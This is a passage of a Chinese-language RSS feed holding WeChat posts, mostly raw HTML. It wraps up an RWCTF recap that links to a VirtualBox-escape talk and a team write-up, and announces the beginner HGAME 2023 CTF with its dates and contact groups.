!important;"><section style="padding: 2px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;justify-content: flex-start;overflow-wrap: break-word !important;"><section data-darkmode-bgimage="1" data-darkmode-color="rgba(0,0,0,0.9)" style="margin-right: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 50px;height: 50px;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/FOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A/640?wx_fmt=jpeg&#34;);background-size: cover;background-position: center center;background-repeat: no-repeat;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1.067632850241546" data-type="jpeg" data-w="414" data-width="100%" title="小龙.jpg" style="outline: 0px;box-sizing: border-box;vertical-align: inherit;width: 46px;border-radius: 50%;opacity: 0;overflow-wrap: break-word !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=54426844&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box;clear: none;font-size: 12px;line-height: 1.5em;overflow-wrap: break-word !important;"><br/></p></section></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;overflow-wrap: break-word !important;"><section style="margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(38, 160, 58);border-top-color: rgb(38, 160, 58);height: 10px;color: inherit;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-top: -8px;margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(254, 254, 254);border-top-color: rgb(254, 254, 254);height: 10px;color: inherit;float: left;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-right: auto;margin-bottom: -2px;margin-left: auto;padding: 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 5px;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;caret-color: red;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">小编因为透露的太多，已经被禁言~</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">各位计划参赛的小伙伴，可一定要加油哟！</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color="rgb(235, 173, 51)" data-darkmode-original-color="rgb(235, 173, 51)" style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">没报名的，还等啥？</span></strong></p></section></section></section></section><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;caret-color: red;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">解题思路：</span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">在HITB的演讲论坛上，出题师傅陈楠从题目的根本思路进行了分享~没有writeup，但是有更深入的演讲视频，感兴趣的小伙伴直接冲冲冲吧~</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&amp;mid=2247486644&amp;idx=1&amp;sn=a972794feb1554da56f08e6482a13349&amp;chksm=96f413d9a1839acf8e814fb01876dd4f03673f3837a5278d490371c3d7d3507c5d1121945b80&amp;scene=21#wechat_redirect" textvalue="【直击HITB】虚拟机逃逸的“挖洞秘籍”" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;text-decoration: underline;cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">【直击HITB】虚拟机逃逸的“挖洞秘籍”</span></strong></span></a><span style="outline: 0px;max-width: 100%;text-decoration: underline;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">或者还有国外强队——亚军战队Sauercloud的赛后解题思路分享，英文好的伙伴也可以直接点击阅读原文查看。</span></p><section style="outline: 0px;max-width: 100%;text-align: center;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="outline: 0px;max-width: 100%;text-align: center;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">好了，本期的盘点就到此了</span></section><section style="outline: 0px;max-width: 100%;text-align: center;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">下期小编再和大家聊一聊</span></section><section style="outline: 0px;max-width: 100%;text-align: center;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">赛场上那些非预期解法的题目</span></section><section style="outline: 0px;max-width: 100%;text-align: center;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">对，就是传言中的0 day打比赛哦~</span></section><section style="outline: 0px;max-width: 100%;text-align: center;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">那让我们下期再见！</span></section><section style="outline: 0px;max-width: 100%;text-align: center;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="outline: 0px;max-width: 100%;text-align: center;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">热爱永不消逝，技术至死不渝</span></section><section style="outline: 0px;max-width: 100%;text-align: center;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">第五届RWCTF等你来战~</span></section></section></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="3.968" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=db9c7554&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0bdwO6dWIfsZFBNibJDOccag2s66eBtyjxjI7FPrTDHgTmiazYlaJmoSTFdsh52yVh7nT4resu0Twzw%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);"></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/Sauercloud/RWCTF21-VirtualBox-61-escape">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e6905cb9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247500495%26idx%3D1%26sn%3D40b68c29709cbaf1e50ea00160a876a4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 03 Jan 2023 18:33:00 +0800</pubDate>
    </item>
    <item>
      <title>HGAME 2023 来啦！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247500495&amp;idx=2&amp;sn=d4fb1892b737b9419bd6d6d3903293a2</link>
      <description>Vidar 邀请大家一起过兔兔的奇妙新年 o((&amp;gt;ω&amp;lt; ))o！</description>
      <content:encoded><![CDATA[<p>
<span>安协小天使</span> <span>2023-01-03 18:33</span> <span style="display: inline-block;">北京</span>
</p>

<p>Vidar 邀请大家一起过兔兔的奇妙新年 o((&gt;ω&lt; ))o！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f6ef6779&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0bdwO6dWIfsZFBNibJDOccag8ia9Wu4uVwzFM25sDY6WKKroPG4ib4NTBRUiaUtvvbONx9Mq4DWShkvwQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br/></p><section style="background-color: rgb(15, 61, 61);box-sizing: border-box;font-size: 16px;"><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-bottom: 15px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 90%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;box-sizing: border-box;"><section style="justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;margin-right: 15px;box-sizing: border-box;"><section style="justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 20px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 70%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 3px;border-color: rgb(221, 105, 80);height: auto;box-sizing: border-box;"><section style="transform: translate3d(-5px, 0px, 0px);margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(221, 105, 80);font-size: 22px;line-height: 1.2;box-sizing: border-box;"><p style="text-align: center;display: inline-block;width: 1em;float: right;clear: none;white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;">2023</strong></p><p style="font-size: 0px;line-height: 0;min-height: 0px;white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section></section></section></section></section><section style="display: inline-block;vertical-align: top;width: 70%;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(147, 43, 8);box-sizing: border-box;"><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: justify;padding-right: 25px;padding-left: 25px;letter-spacing: 1px;line-height: 1.8;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-align: right;white-space: normal;box-sizing: border-box;"><span style="color:#dd6950;box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="box-sizing: border-box;text-decoration:underline;">WELCOME</span></span></span></p><p style="text-align: right;white-space: normal;box-sizing: border-box;"><span style="color: rgb(221, 105, 80);text-decoration: underline;font-size: 15px;box-sizing: border-box;">TO</span></p><p style="text-align: right;white-space: normal;box-sizing: border-box;"><span style="color: rgb(221, 105, 80);text-decoration: underline;font-size: 15px;box-sizing: border-box;">HGAME.</span><br style="box-sizing: border-box;"/></p></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;transform: translate3d(135px, 0px, 0px);margin-top: 50px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="transform: rotateZ(90deg);-webkit-transform: rotateZ(90deg);-moz-transform: rotateZ(90deg);-o-transform: rotateZ(90deg);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;box-sizing: border-box;"><section style="text-align: justify;color: rgb(221, 105, 80);direction: rtl;letter-spacing: 3px;box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">Vidar-Team</p></section></section></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section></section></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section></section></section><section style="text-align: left;margin-top: -170px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;" powered-by="xiumi.us"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 69%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="1.4148148" style="vertical-align: middle;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e4e27aba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtBics1PdpEkehRu4qnnQ6GibL38CFubCDfoVXDSLB6icIiash3YhIkuvOicdj3P2SicsvwyeRCsniaQGgTyfBuOBTs7Cw%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="opacity: 0.26;margin: 10px 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;color: rgb(15, 61, 61);font-size: 64px;letter-spacing: 5px;line-height: 1.2;text-shadow: rgb(216, 230, 214) 0px 1.4px, rgb(216, 230, 214) 1px 1px, rgb(216, 230, 214) 1.4px 0px, rgb(216, 230, 214) 1px -1px, rgb(216, 230, 214) 0px -1.4px, rgb(216, 230, 214) -1px -1px, rgb(216, 230, 214) -1.4px 0px, rgb(216, 230, 214) -1px 1px;box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">HGAME</strong></p></section></section><section style="display: flex;width: 100%;flex-flow: column nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: 2;box-sizing: border-box;" powered-by="xiumi.us"><section style="opacity: 0.26;margin-top: -100px;margin-bottom: 10px;box-sizing: border-box;"><section style="text-align: center;color: rgb(15, 61, 61);font-size: 64px;letter-spacing: 5px;line-height: 1.2;text-shadow: rgb(216, 230, 214) 0px 1.4px, rgb(216, 230, 214) 1px 1px, rgb(216, 230, 214) 1.4px 0px, rgb(216, 230, 214) 1px -1px, rgb(216, 230, 214) 0px -1.4px, rgb(216, 230, 214) -1px -1px, rgb(216, 230, 214) -1.4px 0px, rgb(216, 230, 214) -1px 1px;box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">HGAME</strong></p></section></section></section></section><section style="display: flex;width: 100%;flex-flow: column nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: 2;box-sizing: border-box;" powered-by="xiumi.us"><section style="opacity: 0.26;margin-top: -100px;margin-bottom: 10px;box-sizing: border-box;"><section style="text-align: center;color: rgb(15, 61, 61);font-size: 64px;letter-spacing: 5px;line-height: 1.2;text-shadow: rgb(216, 230, 214) 0px 1.4px, rgb(216, 230, 214) 1px 1px, rgb(216, 230, 214) 1.4px 0px, rgb(216, 230, 214) 1px -1px, rgb(216, 230, 214) 0px -1.4px, rgb(216, 230, 214) -1px -1px, rgb(216, 230, 214) -1.4px 0px, rgb(216, 230, 214) -1px 1px;box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">HGAME</strong></p></section></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;font-size: 15px;color: rgb(244, 244, 244);line-height: 1.8;letter-spacing: 1px;padding-right: 35px;padding-left: 35px;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;"><span style="color: rgb(216, 230, 214);box-sizing: border-box;">『</span>   HGAME 2023  』 <span style="font-size: 14px;box-sizing: border-box;">即将开始！</span></p><p style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">或许你还是一个对安全无甚了解的小白</span></p><p style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">想要通过这四周的时间进行提升</span></p><p style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">或许你对各方面的知识已经有所涉猎</span></p><p style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">想要有个平台和机会展示你自己……</span></p><p style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">HGAME 将助力你踏上信息安全之路！</span></p><p style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">让我们抱着对安全的兴趣与热爱，</span></p><p style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">在 HGAME 相遇 ！</span></p><p style="box-sizing: border-box;"><span style="color: rgb(216, 230, 214);box-sizing: border-box;">/</span></p></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;margin: 10px 0%;justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;line-height: 0;letter-spacing: 0px;align-self: flex-start;box-sizing: border-box;"><section style="margin: 5px 0%;justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;vertical-align: top;border-width: 0px;padding-right: 5px;padding-left: 5px;line-height: 0;flex: 0 0 auto;height: auto;letter-spacing: 0px;align-self: flex-start;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 6px;height: 6px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 1px;border-radius: 50%;border-color: rgba(244, 244, 244, 0.71);box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="margin: 5px 0%;justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;vertical-align: top;border-width: 0px;padding-right: 5px;padding-left: 5px;line-height: 0;flex: 0 0 auto;height: auto;letter-spacing: 0px;align-self: flex-start;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 6px;height: 6px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 1px;border-radius: 50%;border-color: rgba(244, 244, 244, 0.71);box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="margin: 5px 0%;justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;vertical-align: top;border-width: 0px;padding-right: 5px;padding-left: 5px;line-height: 0;flex: 0 0 auto;height: auto;letter-spacing: 0px;align-self: flex-start;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 6px;height: 6px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 1px;border-radius: 50%;border-color: rgba(244, 244, 244, 0.71);box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section style="display: flex;flex-flow: row nowrap;text-align: center;justify-content: center;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 22%;vertical-align: top;flex: 0 0 auto;align-self: flex-start;height: auto;box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="width: 100%;height: 5px;background-color: rgb(147, 43, 8);box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="font-size: 23px;text-align: justify;color: rgb(216, 230, 214);box-sizing: border-box;" powered-by="xiumi.us"><p style="text-align: center;white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;">相关信息 💫</strong></p></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;font-size: 15px;color: rgb(216, 230, 214);padding-right: 15px;padding-left: 15px;line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;">主办方：杭州电子科技大学 Vidar-Team</p><p style="box-sizing: border-box;">比赛类型：Jeopardy [解题]</p><p style="box-sizing: border-box;">比赛形式：线上</p><p style="box-sizing: border-box;">比赛平台：<strong>hgame.vidar.club</strong></p><p style="box-sizing: border-box;">校内 QQ 群：589772767</p><p style="box-sizing: border-box;">比赛总 QQ 群：134591168</p><p style="box-sizing: border-box;"><span style="text-decoration: underline;box-sizing: border-box;">HGAME 是个人赛形式</span></p><p style="box-sizing: border-box;"><span style="text-decoration: underline;box-sizing: border-box;">同时平台也有反作弊机制</span></p><p style="box-sizing: border-box;"><span style="text-decoration: underline;box-sizing: border-box;">各位同学不要有意或者无意触犯规则噢～</span></p><p style="box-sizing: border-box;"><br style="box-sizing: border-box;"/></p><p style="box-sizing: border-box;">赞助商</p><p style="box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: center;line-height: 0;box-sizing: border-box;" powered-by="xiumi.us"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 66%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.2861111" style="vertical-align: middle;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3a85e31f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtBics1PdpEkehRu4qnnQ6GibL38CFubCDfib4G5t0wP4qFj6ov330fXCIuvH2P4UCNXvibGY2VhkeHWehFHeXZ35JA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="text-align: center;font-size: 15px;color: rgb(216, 230, 214);padding-right: 15px;padding-left: 15px;line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 66%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.412037" style="vertical-align: middle;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b5c2158b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtBics1PdpEkehRu4qnnQ6GibL38CFubCDfbPiaI76SUXtm69G8CPT9k0OD73XhA7lHTX0Jn0bc3RNepaY5xojnLSg%2F640%3Fwx_fmt%3Dpng"/></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section style="display: flex;flex-flow: row nowrap;text-align: center;justify-content: center;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 22%;vertical-align: top;flex: 0 0 auto;align-self: flex-start;height: auto;box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="width: 100%;height: 5px;background-color: rgb(147, 43, 8);box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="font-size: 23px;text-align: justify;color: rgb(216, 230, 214);box-sizing: border-box;" powered-by="xiumi.us"><p style="text-align: center;white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;">比赛日历 📆</strong></p></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 90%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;box-sizing: border-box;"><section style="font-size: 15px;color: rgb(216, 230, 214);padding-right: 15px;padding-left: 15px;line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;">比赛开始时间：2023 - 01 - 05</p><p style="box-sizing: border-box;">报名截止时间：2023 - 01 - 12</p><p style="box-sizing: border-box;">比赛结束时间：2023 - 02 - 06</p><p style="box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 